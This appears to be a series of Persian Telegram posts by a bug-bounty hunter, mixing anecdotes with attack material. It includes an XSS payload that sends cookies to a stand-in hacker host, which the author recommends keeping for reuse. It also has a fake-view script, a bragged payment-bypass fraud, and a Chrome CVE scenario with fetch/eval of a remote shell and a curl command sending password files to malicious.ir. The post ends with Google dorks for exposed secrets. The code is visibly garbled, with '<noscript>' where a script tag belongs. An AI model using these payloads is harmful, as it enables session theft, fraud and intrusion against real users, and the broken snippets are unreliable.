توی یه پلتفرم معروف ایرانی کار میکردم تا اون موقع باگی که تریاژ شده باشه + بانتیشم واریز شده باشه نزده بودم قبلش باگ زده بودم چندتا ولی پیچوندن و 2.5 قرار بود بدن و ندادن ، توی پلتفرم که شروع به کار کردم دیدم یه وبسایت تازه اومده بالا تارگت نیو و تازه ای بود و اپدیت داده بود روی وبسایتش
منم با شوق و ذوق که جزو اولین هانترام میرم روش رفتم هانت روش
یه باگی زدم از یه جایی که نیاز داشت سورس تمامی صفحه های سایت رو بخونی ، یکی از برنامه نویسا توی یکی از مسیر ها به نام `kids/`یه سورس جاوا اسکریپت گذاشته بود که مربوط میشد به لود کردن تصاویر که میتونست از پارامتر هم مقدار دهی بشه
رفتم تو کارش بعد 1 ساعت بوم اولین باگ خفن اونم توی پلتفرم اونم راورو در رقابت با خوبای هانت یه باگ زدم XSS زدم گفتم تا اینجا که اومدم بزار تست بگیرم ببینم میتونم حساسیت آسیب پذیری رو ببرم بالا یا که نه (اینطوری بودم که فعععععععععععکک نعععععععععععععکنم ) که با دیدگاه منفی رفتم توش و دیدم از طریق جاوا اسکریپت میتونم کوکی رو آلرت کنم
سریع یه اسکریپت یه خطی نوشتم که کوکی رو بگیره و برای سایت هکر بفرسته !
اون پیلود اینه:

<noscript> var xhr = new XMLHttpRequest(); xhr.open("POST", "https://HACKER-SITE.com", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(document.cookie); </noscript>

بعد از اون هر وقت باگ XSS میزنم آلرت میاد بالا اول اینو میندازم ببینم درخواست میاد رو سرورم یانه شمام نگهش دارین خیلی جوابه ، البته بدونید که وقتی درخواست نمیاد یا کوکی رو نمیفرسته برین دنبال دلیلش نشه 5 ساعت وقت بزارین فکر کنین پیلود خرابه بعد ببینین نه توی کوکی ها HttpOnly اون کوکی که تو میخای true هست!


#تجربه

توی حوزه باگ بانتی ایران
بعضی شرکت ها هستن که اولی که میری برا هماهنگی و باگ هانتینگ ازت استقبال میشه خوشحال و خوشآمدید و اینا
باگ رو گزارش میدی
سین میکنن جواب نمیده
مثل یکی از باگ هایی که html injection که از یکی از سایت های ایران با خدمات کیف پول زدم 3 ماهه سین میکنه جواب نمیده!
نمیدونم اینا چطور سرشونو رو بالش میزارن وقتی بدهکارن و مال مردم رو عین آب خوردن میخورن

باگ رو پچ کردن! ولی سین میکنه جوابتو نمیده
دراین حد وقاحت دارن بعضی وبسایت ها
در عوضش بعضی وبسایت ها هستن کوچیکن یعنی خدمات خاصی هم نمیدن ولی اینقدر خوب برخورد میکنن که میگی اصلا بزار برا اینا رایگان کار کنم فقط با اینا حرف بزنم

این کجا و آن کجا

#تجربه

یعنی وقتی که میرم میبینم از یه قسمت تیکت فقط 15 تا تست کیس میتونم بزنم
عشق میکنم اصلا
اون تارگت رو اون پروگرام رو روی چشمام میزارم 😂 از این تارگتا کمن تو ایران

#سرگرمی

آقا رایت آپ بخونین خیلی کمکتون میکنه!!

#تجربه

یه PII تمیز + اکسپلویت بش
که کاربرا رو اطلاعاتشون رو لیک کنه
از این باگا بزنین لذت میده ❤️

ویدئوی آموزشی این یه آسیب پذیری مخصوصا توی ایران رو میگیرم میزارم توی کانال چون که توی دو تا سایت بزرگ ایرانی خورده این آسیب پذیری و هردو قبول کردن!

#تجربه

جدیدا خیلی از آسیب پذیری های خوبی که میخورن سمت باگ های لاجیک هستند، از طرفیم باگ های لاجیک به بررسی کردن نیاز داره و البته تجربه نیاز داره در نتیجه کمتر کسی میتونه بزنه

باگ بزنین، باگ لاجیک بزنین ❤️

یه آسیب پذیری Low هست که اکثر وبسایت های ایرانی رو در بر میگیره عنوان آسیب پذیری رو برای اینکه متوجه بشید میگیم ویو فیک زدن مقالات ولی برای اینکه گزارش مون تر تمیز تر باشه می‌زنیم
شکستن فانکشن و یا بایپس کردن فانکشن ویو مقالات
این خیلی راحته یه کد جاوا اسکریپت رو میزاری توی کنسوله صفحه مقالات میتونی خیلی راحت تست بگیری و حتی اگر CDN هم داشت میتونید بایپس کنید یا طوری تست کنید که CDN نگیره اونو
کدشم میزارم براتون پایین تر

#تجربه

// اسکریپت تست بازدید مقاله (فقط برای مقاصد آموزشی یا تست)
const simulateViews = async (url = 'TARGET-PATH', times = 10, delay = 1000) => {
  for (let i = 0; i < times; i++) {
    try {
      await fetch(url, { method: 'POST' });
      console.log(`View ${i + 1} sent`);
    } catch (err) {
      console.error(`Error on view ${i + 1}:`, err);
    }
    await new Promise(r => setTimeout(r, delay)); // تاخیر برای جلوگیری از بن شدن
  }
};

// استفاده:
simulateViews('TARGET-PATH', 20, 2000); // ۲۰ بازدید با فاصله ۲ ثانیه

این کد آسیب پذیری Fake View
که توی کنسول صفحه ای که میخاید روش تست کنید باید بزنید
نکته : توی کنسول همون صفحه بزنید

#تجربه

یه کانالی هست که در نگاه اول یه سری اطلاعات نسبتا قدیمی ولی بیسیکی رو گذاشته ولی توی تارگت های ایرانی ممکنه خیلی جواب بدن اگر توی تایم ازادتون میخواستن علکی ریلز اینستاگرام نگاه کنید میتونید این کانال رو نگاه کنید تا توی حرفه خودتون اپدیت بشید!
https://news.1rj.ru/str/GitBook_s

ولی در کل همیشه سعی کنید رو به جلو باشید هیچ وقت رو به عقب نباشید و یه جا استپ نکنید که این بدترین کار توی جوانیه!
باگ بزنید!

#سرگرمی

شما باید برای دیدن همچین لحظاتی : بی خوابی بکشید ، درد بکشید ، سختی بکشید ، سرو کله زدن و مذاکره کردن یاد بگیرید ، بی حوصلگی بکشید ، روزی 12 ساعت کار بکشید ، روزی 6 ساعت خواب بکشید ، و ....

ولی در نهایت چیزی که تمام اینها رو از یادتون میبره این لحضاتیه که چنین انرژی به ادم میده جایی که همه هم سن ها دنبال چیزای متفرقه هستن تو با توکل و تلاش و تفکر تونستی یه قدم جلو تر باشی این کلمه که بابا از کحا اوردی این پولارو خستگی رو از تن آدم به در میبره بهتون قول میدم که همینطور باشه.


و در آخر باگ بزنید!

#انگیزه

امروز روز خوبیه باگ بزنید! هدف این ماه رو بزارید و پرش کنید❤️

🚨 کشف 0Day در گوگل کروم!

📢 یه زیرودی با کد CVE-2025-5419 (امتیاز CVSS: 8.8) تو مرورگر گوگل کروم پیدا شده.

🕵️‍♂️ ماجرا چیه؟
این آسیب‌پذیری یه مشکل خواندن و نوشتن خارج از محدوده تو موتور جاوا اسکریپت V8 و WebAssembly کرومه که توسط کلمنت لسین و بنوا سون از تیم تحلیل تهدید گوگل (TAG) کشف شده.

🔍 چرا خطرناکه؟
شناسه باگ: CVE-2025-5419
امتیاز CVSS: 8.8 (بسیار خطرناک!)
مشکل اصلی: هکر می‌تونه با یه صفحه HTML مخرب، از خرابی پشته سوءاستفاده کنه و کد دلخواهش رو روی سیستم شما اجرا کنه.
تاثیر: دسترسی غیرمجاز، سرقت اطلاعات حساس، یا حتی نصب بدافزار (مثل باج‌افزار یا جاسوس‌افزار).

ویژگی‌های خطرناک:
حمله از راه دور: فقط با باز کردن یه صفحه وب مخرب، سیستم شما در خطره!
بدون نیاز به تعامل زیاد: یه کلیک ساده می‌تونه کافی باشه.
استفاده گسترده: کروم تو لپ‌تاپ‌ها، گوشی‌ها و حتی سرورهای سازمانی پراستفاده‌ست، پس هدف جذابی برای هکرهاست.

🔥 سناریو: هک سیستم شما از طریق یه لینک مخرب!
قدم ۱: پیدا کردن قربانی
هکر یه وب‌سایت جعلی یا تبلیغ مخرب می‌سازه و لینک اونو از طریق ایمیل، پیام تلگرام یا شبکه‌های اجتماعی پخش می‌کنه. مثلاً:

http://malicious-site.ir/promo.html

قدم ۲: سوءاستفاده از CVE-2025-5419
وقتی شما روی لینک کلیک می‌کنید، صفحه HTML مخرب یه payload جاوا اسکریپت اجرا می‌کنه که از نقص V8 سوءاستفاده می‌کنه. نمونه کد مخرب:

const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, ...]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
wasmInstance.exports.exploit(); 

این کد باعث خرابی پشته می‌شه و به هکر اجازه می‌ده کد دلخواهش رو اجرا کنه.
قدم ۳: دسترسی به سیستم
هکر یه وب‌شل یا بدافزار روی سیستم شما آپلود می‌کنه:

fetch('http://malicious.ir/shell.js')
  .then(response => response.text())
  .then(noscript => eval(noscript));

حالا هکر می‌تونه فایل‌های شما رو بدزده، وب‌کم رو روشن کنه یا حتی سیستم رو قفل کنه!
قدم ۴: سرقت اطلاعات و خرابکاری
هکر اطلاعات حساس (مثل رمزها یا فایل‌های شخصی) رو می‌دزده:

curl -X POST http://malicious.ir/steal -d "$(cat ~/.passwords)"

یا بدافزار نصب می‌کنه و ردشو پاک می‌کنه تا کسی نفهمه!

🛡 چطور از خودمون محافظت کنیم؟
برای اینکه قربانی این زیرودی نشید:
فوراً آپدیت کنید: کروم رو به نسخه 137.0.7151.68/.69 (ویندوز و مک) یا 137.0.7151.68 (لینوکس) آپدیت کنید.
تو کروم برید به:
Settings > About Chrome
و آپدیت رو چک کنید.
به‌روزرسانی خودکار رو روشن کنید: اینجوری همیشه آخرین وصله‌های امنیتی رو دارید.
لینک‌های مشکوک رو باز نکنید: ایمیل‌ها یا پیام‌های ناشناس رو چک کنید.
آنتی‌ویروس به‌روز داشته باشید: می‌تونه بدافزارهای احتمالی رو شناسایی کنه.
فایروال فعال کنید: جلوی اتصالات مشکوک رو می‌گیره.

🌐 منبع:
https://thehackernews.com/2025/06/new-chrome-zero-day-actively-exploited.html

به طور کلی من شخصیت ادما رو نمیخام توجیه کنم ولی این حرفش خیلی درسته !
https://www.instagram.com/reel/DKiAX0TKTWB/?utm_source=ig_web_copy_link

امام جواد میگه:

تا کاری قطعی نشده و نتیجه نداده آن را سر زبان ها نندازید ، همه از موفقیت شما خوشحال نمیشوند و اگر یکی آه بکشد اون کار سر نمیگیره

باگ های سمت لاجیک برنامه رو زیاد کار کنید که خیلی خوبن مثلا اینجا از یکی از وبسایت های خیلی خوب این باگو زدیم bypass Payment proccess با پرداخت 1000 تومان کیف پول رو در حد 110 میلیون تومان شارژ میکنیم ، و جالبیش اینجاست که این وبسایت یه فیچری داره که میتونی از کیف پولت پول خارج کنی و به کارت بانکیت واریز کنی یعنی من با پرداخت 1000 تومان میتونم الان 110 میلیون کارت بانکیم رو شارژ کنم


باگ های لاجیک رو زیاد کار کنید و در نهایت

باگ بزنید!

#تجربه

🔴 یک محقق امنیتی بنام brutecat، با استفاده از brute-force تونسته با موفقیت شماره تلفن پشت اکانتهای گوگل رو بدست بیاره.

شروع تحقیق اینجوری بوده که ایشون JS رو در مرورگرش غیر فعال کرده تا ببینه آیا سرویسی بدون JS کار میکنه یا نه که متوجه شده بازیابی نام کاربری همچنان کار میکنه. در ادامه متوجه شده که فرم بازیابی، بررسی میکنه که ایمیل یا شماره تلفن بازیابی به یک نام (Display Name) مرتبط هستش یا نه.

اگه شماره هلند رو نظر بگیریم، 10 تا عدد هستش، اولش همیشه با 06 شروع میشه و دو تا رقم آخرش رو هم اگه از hint بدست بیاریم، میمونه 6 رقم که میشه 10 به توان 6 = یک میلیون.

در تلاش اول اومده brute-force کنه اما با کپچا مواجه و شکست خورده. برای دور زدن این محدودیت رفته سراغ IPv6 اما باز نتیجه نگرفته. در نهایت با بررسی بیشتر متوجه شده که در فرم بدون JS، توکن botguard هیچ محدودیتی در تعداد درخواست نداره و تونسته این محدودیت رو دور بزنه و brute-force کنه.

برای اینکه این حمله رو روی یک فرد انجام بده، 2 تا چیز نیاز هستش:

1- نام 2- کد کشور

برای کد کشور با توجه به اینکه گوگل از libphonenumber استفاده میکنه، محقق اسکریپتی رو نوشته که اینارو درآورده.

برای نام هم اومده سندی در Looker Studio ایجاد کرده و مالکیت اون به قربانی انتقال داده.

این حمله روی شماره های آمریکا 20 دقیقه، بریتانیا 4 دقیقه، هلند 15 ثانیه و سنگاپور 5 ثانیه طول کشیده.

آسیب پذیری 25 فروردین به گوگل گزارش و اصلاح شده و 5 هزار دلار بانتی داشته.

ایشون چند ماه پیش هم یک آسیب پذیری در یوتیوب پیدا کرده بودن که ایمیل سازنده یوتیوب رو افشاء میکرد و بابتش 20 هزار دلار بانتی گرفتن.

#باگ_بانتی #گوگل
#bugbounty #google #BruteForce

از یه جا به بعد دیگه طرز تفکر و دیدگاه تو تورو پیشرفت میده و مطالب کمک خاصی نمی‌کنند.


باگ بزنید!

🔍 Google Dorks for Bug Bounty & Web Security!
A powerful list of Google Dorks to uncover hidden files, API endpoints, server errors, and more for pentesting & bug bounty hunting!

- Broad Domain Search (Exclude Common Subdomains)

site:example.com -www -shop -share -ir -mfa

- PHP Files with Parameters
site:example.com ext:php inurl:?

- API Endpoints Discovery
site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3

- Juicy Extensions (Sensitive Files)

site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json

- High-Value InURL Keywords
inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com

- Finding Server Errors
inurl:"error" | innoscript:"exception" | innoscript:"failure" | innoscript:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com

#Trick #Goolgle_dorks

Author: zarvan
Language: Persian
Telegram channel: @web_articles